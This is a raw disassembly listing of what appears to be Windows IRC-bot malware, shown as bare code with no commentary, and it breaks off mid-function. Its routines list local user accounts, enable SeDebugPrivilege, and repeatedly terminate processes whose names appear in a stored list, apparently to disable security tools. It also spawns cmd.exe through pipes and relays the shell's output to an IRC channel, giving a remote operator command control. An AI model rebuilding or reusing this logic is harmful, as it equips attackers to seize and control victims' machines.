		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	[ebp+var_10]
		call	dword_44420C
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41C116
		cmp	ebx, 0EAh
		jz	short loc_41C116
		push	ebx
		call	sub_41BD5A
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_438864 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 24h
		jmp	short loc_41C183
; ---------------------------------------------------------------------------


loc_41C116:				; CODE XREF: sub_41C07C+5Dj
					; sub_41C07C+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_4], edi
		jb	short loc_41C17A
		mov	esi, [ebp+var_8]
		add	esi, 14h


loc_41C124:				; CODE XREF: sub_41C07C+FAj
		push	dword ptr [esi+10h]
		call	dword_444204	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41C13B
		mov	eax, offset aNo	; "No"


loc_41C13B:				; CODE XREF: sub_41C07C+B8j
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+Dest]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+var_4]
		jbe	short loc_41C124
		xor	esi, esi


loc_41C17A:				; CODE XREF: sub_41C07C+A0j
		push	[ebp+var_8]
		call	dword_444140


loc_41C183:				; CODE XREF: sub_41C07C+98j
		cmp	ebx, 0EAh
		jz	loc_41C0B5
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41C07C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C19B(int,int,int,int,char *Str,int)

sub_41C19B	proc near		; CODE XREF: sub_40274D:loc_406BABp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41C23E
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41C1DD
		dec	eax
		jz	short loc_41C1D2
		dec	eax
		jnz	short loc_41C1F8
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_41B98C
		add	esp, 14h
		jmp	short loc_41C1F4
; ---------------------------------------------------------------------------


loc_41C1D2:				; CODE XREF: sub_41C19B+1Dj
		push	ebx
		push	edi
		call	sub_41B96B
		pop	ecx
		pop	ecx
		jmp	short loc_41C1F4
; ---------------------------------------------------------------------------


loc_41C1DD:				; CODE XREF: sub_41C19B+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41C1F1
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_41B911
		add	esp, 0Ch
		jmp	short loc_41C1F4
; ---------------------------------------------------------------------------


loc_41C1F1:				; CODE XREF: sub_41C19B+45j
		push	57h
		pop	eax


loc_41C1F4:				; CODE XREF: sub_41C19B+35j
					; sub_41C19B+40j ...
		cmp	eax, edi
		jnz	short loc_41C218


loc_41C1F8:				; CODE XREF: sub_41C19B+20j
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_4433FC[eax*4]
		mov	esi, offset byte_4E2570
		push	offset asc_43891C ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41C25E
; ---------------------------------------------------------------------------


loc_41C218:				; CODE XREF: sub_41C19B+5Bj
		call	sub_41BD5A
		push	eax
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_4433F8[eax*4]
		mov	esi, offset byte_4E2570
		push	offset asc_4388EC ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_41C25E
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C19B+Dj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_4433F8[eax*4]
		mov	esi, offset byte_4E2570
		push	offset asc_4388C4 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41C25E:				; CODE XREF: sub_41C19B+7Bj
					; sub_41C19B+A1j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C265(int,char *Str,int,int)

sub_41C265	proc near		; CODE XREF: sub_40274D+4487p

Dest		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_41B7C1
		push	esi		; int
		push	[ebp+arg_8]	; int
		mov	[ebp+var_18], eax
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+Str]	; Str
		mov	[ebp+var_8], esi
		push	[ebp+arg_0]	; int
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_C], esi
		call	sub_40123B
		add	esp, 18h
		push	ebx


loc_41C2A4:				; CODE XREF: sub_41C265+129j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	esi
		push	[ebp+var_18]
		call	dword_4440E0
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jz	short loc_41C303
		cmp	eax, 0EAh
		jz	short loc_41C303
		push	eax
		call	sub_41BD5A
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_438988 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 24h
		jmp	short loc_41C374
; ---------------------------------------------------------------------------


loc_41C303:				; CODE XREF: sub_41C265+62j
					; sub_41C265+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41C387
		xor	ebx, ebx
		cmp	[ebp+var_8], esi
		jbe	short loc_41C374


loc_41C311:				; CODE XREF: sub_41C265+E7j
		cmp	edi, esi
		lea	eax, [ebp+Dest]
		jz	short loc_41C350
		push	dword ptr [edi]
		push	offset aS_5	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_C]
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_41C311
		jmp	short loc_41C374
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: sub_41C265+B4j
		push	offset asc_438954 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 1Ch


loc_41C374:				; CODE XREF: sub_41C265+9Cj
					; sub_41C265+AAj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41C387
		push	edi
		call	dword_444140
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41C387:				; CODE XREF: sub_41C265+A3j
					; sub_41C265+114j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41C2A4
		cmp	edi, esi
		pop	ebx
		jz	short loc_41C3A0
		push	edi
		call	dword_444140


loc_41C3A0:				; CODE XREF: sub_41C265+132j
		push	[ebp+var_C]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_10], esi
		pop	edi
		setz	al
		pop	esi
		leave
		retn
sub_41C265	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3D9	proc near		; CODE XREF: sub_419FFD+45p
					; sub_419FFD+165p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_42B09C	; GetCurrentProcess
		push	eax
		call	dword_444244	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41C3F8
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C3F8:				; CODE XREF: sub_41C3D9+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_444228	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41C436
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_41C41F
		or	[ebp+var_8], 2
		jmp	short loc_41C423
; ---------------------------------------------------------------------------


loc_41C41F:				; CODE XREF: sub_41C3D9+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41C423:				; CODE XREF: sub_41C3D9+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_444170	; AdjustTokenPrivileges
		mov	esi, eax


loc_41C436:				; CODE XREF: sub_41C3D9+32j
		push	[ebp+var_4]
		call	ds:dword_42B004	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C3D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=60h

; int __cdecl sub_41C444(int,char *Str,int,char	*Str2,int,int)

sub_41C444	proc near		; CODE XREF: sub_40274D+7533p
					; sub_41C66C+67p ...

Dest		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
Str1		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		lea	ebp, [esp-60h]
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_4440F0, ebx
		pop	ecx
		lea	edi, [ebp+60h+var_128]
		mov	[ebp+60h+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+60h+var_34C]
		mov	[ebp+60h+var_350], ebx
		rep stosd
		jz	loc_41C635
		cmp	dword_444154, ebx
		jz	loc_41C635
		cmp	dword_4440A4, ebx
		jz	loc_41C635
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41C3D9
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4440F0	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+60h+var_4], edi
		jz	loc_41C628
		lea	eax, [ebp+60h+var_12C]
		push	eax
		push	edi
		mov	[ebp+60h+var_12C], 128h
		call	dword_444154	; Process32First
		test	eax, eax
		mov	esi, ds:dword_42B004
		jz	loc_41C623
		lea	eax, [ebp+60h+var_12C]
		push	eax
		push	edi
		call	dword_4440A4	; Process32Next
		test	eax, eax
		jz	loc_41C623
		mov	ebx, ds:dword_42B040


loc_41C505:				; CODE XREF: sub_41C444+1D7j
		xor	edi, edi
		cmp	[ebp+60h+arg_10], edi
		jz	short loc_41C562


loc_41C50C:				; CODE XREF: sub_41C444+E5j
		push	off_443458[edi]
		lea	eax, [ebp+60h+Str1]
		push	eax
		call	ds:dword_42B124	; lstrcmpi
		test	eax, eax
		jz	short loc_41C530
		add	edi, 4
		cmp	edi, 60h
		jb	short loc_41C50C
		jmp	loc_41C609
; ---------------------------------------------------------------------------


loc_41C530:				; CODE XREF: sub_41C444+DDj
		push	[ebp+60h+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_41C609
		push	0
		push	edi
		call	ds:dword_42B094	; TerminateProcess
		test	eax, eax
		jnz	loc_41C609


loc_41C55A:				; CODE XREF: sub_41C444+1ABj
		push	edi
		call	esi	; CloseHandle
		jmp	loc_41C609
; ---------------------------------------------------------------------------


loc_41C562:				; CODE XREF: sub_41C444+C6j
		cmp	[ebp+60h+Str2],	edi
		jnz	loc_41C5F4
		cmp	[ebp+60h+Str], edi
		jz	loc_41C609
		push	[ebp+60h+var_124]
		push	8
		call	dword_4440F0	; CreateToolhelp32Snapshot
		cmp	[ebp+60h+arg_14], 0
		mov	edi, eax
		mov	[ebp+60h+var_350], 224h
		jz	short loc_41C5B4
		lea	eax, [ebp+60h+var_350]
		push	eax
		push	edi
		call	dword_444118	; Module32First
		test	eax, eax
		push	[ebp+60h+var_124]
		jz	short loc_41C5BA
		lea	eax, [ebp+60h+var_230]
		jmp	short loc_41C5C0
; ---------------------------------------------------------------------------


loc_41C5B4:				; CODE XREF: sub_41C444+14Ej
		push	[ebp+60h+var_124]


loc_41C5BA:				; CODE XREF: sub_41C444+166j
		lea	eax, [ebp+60h+Str1]


loc_41C5C0:				; CODE XREF: sub_41C444+16Ej
		push	eax
		lea	eax, [ebp+60h+Dest]
		push	offset aSD_0	; " %s (%d)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		push	1		; int
		push	[ebp+60h+arg_8]	; int
		lea	eax, [ebp+60h+Dest]
		push	eax		; int
		push	[ebp+60h+Str]	; Str
		push	[ebp+60h+arg_0]	; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_41C55A
; ---------------------------------------------------------------------------


loc_41C5F4:				; CODE XREF: sub_41C444+121j
		push	[ebp+60h+Str2]	; Str2
		lea	eax, [ebp+60h+Str1]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41C63F


loc_41C609:				; CODE XREF: sub_41C444+E7j
					; sub_41C444+FFj ...
		lea	eax, [ebp+60h+var_12C]
		push	eax
		push	[ebp+60h+var_4]
		call	dword_4440A4	; Process32Next
		test	eax, eax
		jnz	loc_41C505
		xor	ebx, ebx


loc_41C623:				; CODE XREF: sub_41C444+9Fj
					; sub_41C444+B5j
		push	[ebp+60h+var_4]
		call	esi	; CloseHandle


loc_41C628:				; CODE XREF: sub_41C444+79j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41C3D9
		pop	ecx
		pop	ecx


loc_41C635:				; CODE XREF: sub_41C444+3Cj
					; sub_41C444+48j ...
		xor	eax, eax


loc_41C637:				; CODE XREF: sub_41C444+226j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 60h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C63F:				; CODE XREF: sub_41C444+1C3j
		push	[ebp+60h+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+60h+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_42B094	; TerminateProcess
		test	eax, eax
		jnz	short loc_41C667
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_41C635
; ---------------------------------------------------------------------------


loc_41C667:				; CODE XREF: sub_41C444+21Cj
		xor	eax, eax
		inc	eax
		jmp	short loc_41C637
sub_41C444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41C66C	proc near		; DATA XREF: sub_40274D+24CAo

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 298h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+74h+Dest]
		push	offset asc_438B70 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41C6C4
		push	esi		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_98] ; int
		call	sub_40123B
		add	esp, 14h


loc_41C6C4:				; CODE XREF: sub_41C66C+3Cj
		push	[ebp+74h+var_10] ; int
		lea	eax, [ebp+74h+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+74h+var_C]	; int
		push	eax		; Str
		push	[ebp+74h+var_98] ; int
		call	sub_41C444
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+74h+Dest]
		jnz	short loc_41C6EC
		push	offset unk_438B4C
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EC:				; CODE XREF: sub_41C66C+77j
		push	offset asc_438B28 ; "-"


loc_41C6F1:				; CODE XREF: sub_41C66C+7Ej
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+74h+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41C718
		push	esi		; int
		push	[ebp+74h+var_C]	; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		push	[ebp+74h+var_98] ; int
		call	sub_40123B
		add	esp, 14h


loc_41C718:				; CODE XREF: sub_41C66C+90j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_14]
		call	sub_40B149
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41C66C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C736	proc near		; CODE XREF: sub_40274D+74D4p
					; sub_40AF6E+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	0
		push	1F0FFFh
		inc	edi
		call	ds:dword_42B040	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41C768
		push	0
		push	esi
		call	ds:dword_42B094	; TerminateProcess
		test	eax, eax
		jnz	short loc_41C768
		push	esi
		xor	edi, edi
		call	ds:dword_42B004	; CloseHandle


loc_41C768:				; CODE XREF: sub_41C736+1Aj
					; sub_41C736+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41C736	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C76D	proc near		; DATA XREF: WinMain(x,x,x,x)+3B4o
		push	esi
		xor	esi, esi


loc_41C770:				; CODE XREF: sub_41C76D+1Ej
		push	1		; int
		push	esi		; int
		push	esi		; Str2
		push	esi		; int
		push	esi		; Str
		push	esi		; int
		call	sub_41C444
		add	esp, 18h
		push	dword_443450
		call	ds:dword_42B014	; Sleep
		jmp	short loc_41C770
sub_41C76D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C78D	proc near		; CODE XREF: sub_41C7BD+2Ap
					; sub_41C7F5+7Ep ...
		mov	eax, dword_4E277C
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_42B004
		jz	short loc_41C7A1
		push	eax
		call	esi	; CloseHandle


loc_41C7A1:				; CODE XREF: sub_41C78D+Fj
		mov	eax, dword_4E2778
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C7AE
		push	eax
		call	esi	; CloseHandle


loc_41C7AE:				; CODE XREF: sub_41C78D+1Cj
		mov	eax, dword_4E27B4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C7BB
		push	eax
		call	esi	; CloseHandle


loc_41C7BB:				; CODE XREF: sub_41C78D+29j
		pop	esi
		retn
sub_41C78D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BD(char *Str)

sub_41C7BD	proc near		; CODE XREF: sub_40274D+7216p
					; sub_418799+121p

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		push	[ebp+Str]
		mov	[ebp+var_4], eax
		push	dword_4E2770
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		jnz	short loc_41C7F0
		call	sub_41C78D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C7F0:				; CODE XREF: sub_41C7BD+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_41C7BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7F5(int,char *Str1,int)

sub_41C7F5	proc near		; CODE XREF: sub_41C87C+C0p
					; sub_41C87C+107p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_42B633 ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41C838
		push	7D0h
		call	ds:dword_42B014	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	[ebp+Str1]
		push	offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41C84F
; ---------------------------------------------------------------------------


loc_41C838:				; CODE XREF: sub_41C7F5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41C84F:				; CODE XREF: sub_41C7F5+41j
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		test	eax, eax
		jg	short loc_41C878
		call	sub_41C78D


loc_41C878:				; CODE XREF: sub_41C7F5+7Cj
		xor	eax, eax
		leave
		retn
sub_41C7F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C87C	proc near		; DATA XREF: sub_41C9D4+174o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		push	esi		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	ebx, ds:dword_42B12C
		jmp	loc_41C952
; ---------------------------------------------------------------------------


loc_41C8A8:				; CODE XREF: sub_41C87C+F1j
		cmp	[ebp+var_4], edi
		jnz	short loc_41C8D8
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4E27B4
		call	ds:dword_42B128	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41C8CE
		cmp	[ebp+var_8], 103h
		jnz	loc_41C9A0


loc_41C8CE:				; CODE XREF: sub_41C87C+43j
		push	0Ah
		call	ds:dword_42B014	; Sleep
		jmp	short loc_41C944
; ---------------------------------------------------------------------------


loc_41C8D8:				; CODE XREF: sub_41C87C+2Fj
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41C8F3


loc_41C8DF:				; CODE XREF: sub_41C87C+75j
		cmp	[ebp+eax+Dst], 0Ah
		jz	loc_41C997
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41C8DF


loc_41C8F3:				; CODE XREF: sub_41C87C+61j
		mov	[ebp+var_4], esi


loc_41C8F6:				; CODE XREF: sub_41C87C+11Fj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	edi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4E277C
		call	ds:dword_42B080	; ReadFile
		test	eax, eax
		jz	loc_41C9AC
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	offset byte_4E2780 ; Str1
		push	dword_4E2774	; int
		call	sub_41C7F5
		add	esp, 0Ch


loc_41C944:				; CODE XREF: sub_41C87C+5Aj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset


loc_41C952:				; CODE XREF: sub_41C87C+27j
		add	esp, 0Ch
		push	edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4E277C
		call	ebx	; PeekNamedPipe
		test	eax, eax
		jnz	loc_41C8A8
		push	offset unk_438BF8 ; int
		push	offset byte_4E2780 ; Str1
		push	dword_4E2774	; int
		call	sub_41C7F5
		push	[ebp+arg_0]
		call	sub_40B149
		add	esp, 10h
		push	1
		jmp	short loc_41C9CD
; ---------------------------------------------------------------------------


loc_41C997:				; CODE XREF: sub_41C87C+6Bj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_41C8F6
; ---------------------------------------------------------------------------


loc_41C9A0:				; CODE XREF: sub_41C87C+4Cj
		call	sub_41C78D
		push	offset unk_438BD0
		jmp	short loc_41C9B1
; ---------------------------------------------------------------------------


loc_41C9AC:				; CODE XREF: sub_41C87C+A8j
		push	offset unk_438BA0 ; int


loc_41C9B1:				; CODE XREF: sub_41C87C+12Ej
		push	offset byte_4E2780 ; Str1
		push	dword_4E2774	; int
		call	sub_41C7F5
		push	[ebp+arg_0]
		call	sub_40B149
		add	esp, 10h
		push	edi


loc_41C9CD:				; CODE XREF: sub_41C87C+119j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41C87C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9D4	proc near		; CODE XREF: sub_40274D+22E8p
					; sub_418799+9Ap

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		call	sub_41C78D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_444124	; SearchPathA
		test	eax, eax
		jnz	short loc_41CA0B
		or	eax, 0FFFFFFFFh
		jmp	loc_41CB8A
; ---------------------------------------------------------------------------


loc_41CA0B:				; CODE XREF: sub_41C9D4+2Dj
		push	ebx
		push	edi
		mov	edi, ds:dword_42B0A0
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41CAD2
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41CAD2
		mov	edi, ds:dword_42B09C
		push	3
		push	esi
		push	esi
		push	offset dword_4E2770
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_42B098	; DuplicateHandle
		test	eax, eax
		jz	short loc_41CAD2
		push	10h		; Size
